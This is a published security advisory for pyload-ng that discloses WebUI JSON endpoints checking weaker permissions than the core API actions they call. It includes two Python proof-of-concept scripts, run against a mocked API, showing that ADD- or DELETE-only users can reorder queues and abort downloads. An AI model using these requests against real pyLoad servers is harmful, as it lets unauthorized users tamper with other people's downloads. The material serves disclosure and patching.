Medium

pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions

  • Disclosed: 08.04.2026
  • Updated: 11.10.2026 15:17

Summary

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.

Confirmed mismatches:

  • ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order
  • DELETE user can abort downloads (stop_downloads) via /json/abort_link

Details

pyLoad defines granular permissions in core API:

  • order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125)
  • order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137)
  • stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)

But WebUI JSON routes use weaker checks:

  • /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117)
  • /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145)
  • /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)

Why this is likely unintended (not just convenience):

  • The same JSON blueprint correctly protects other edit actions with MODIFY:
    • /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196)
    • /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217)
  • The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment:

  • Repository version: 0.5.0b3 (VERSION file)
  • Commit tested: ddc53b3d7

PoC A (ADD-only user invokes MODIFY-only reorder):

python
import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):

python
import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'u'

    def stop_downloads(self, ids):
        self.calls.append(('stop_downloads', ids))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'u'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.DELETE)

    r = c.post('/json/abort_link', json={'link_id': 999})

print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]

Impact

Type:

  • Improper authorization / permission-bypass between WebUI and core API permission model.

Scope:

  • Horizontal privilege escalation among authenticated non-admin users.
  • Not admin takeover, but unauthorized execution of operations explicitly categorized as MODIFY.

Security impact:

  • Integrity impact: unauthorized queue/file reordering by users lacking MODIFY.
  • Availability impact: unauthorized abort of active downloads by users lacking MODIFY.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pyload-ng <= 0.5.0b3 no fix

References

CVSS score 5.4/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Weakness (CWE)
CWE-285, CWE-863
Platform
Python (PyPI)
Package
pyload-ng
Disclosed
08.04.2026
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2997 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-rfgh-63mg-8pwm - CC BY 4.0

Vulnerability history: pyload-ng

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
01.2023 10.2026
Without a fix
24
Exploited in attacks
0

Severity breakdown

  • Critical 9
  • High 23
  • Medium 25
  • Low 1

Disclosures per year

  1. 2023: 9
  2. 2024: 8
  3. 2025: 8
  4. 2026: 33
Severity:
  1. High · 7.5 ghsa-889w-m37p-88m5 >= 0.5.0b3.dev98, <= 0.5.0b3.dev101 no fix
  2. High · 8.1 ghsa-r44w-v6gf-x3p6 < 0.5.0b3.dev101 0.5.0b3.dev101
  3. High · 8.1 CVE-2026-42315 < 0.5.0b3.dev100 0.5.0b3.dev100
  4. pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions this entry
    Medium · 5.4 CVE-2026-40071 <= 0.5.0b3 no fix
  5. High · 8.8 CVE-2026-35463 <= 0.5.0b3.dev96 no fix
  6. High · 7.7 CVE-2026-35187 <= 0.5.0b3.dev96 no fix
  7. High · 7.1 CVE-2026-29778 >= 0.5.0b3.dev13, < 0.5.0b3.dev97 0.5.0b3.dev97
  8. High · 8.1 CVE-2025-61773 < 0.5.0b3.dev91 0.5.0b3.dev91
  9. High CVE-2025-57751 < 0.5.0b3.dev92 0.5.0b3.dev92
Show more (13) Showing 20 of 33

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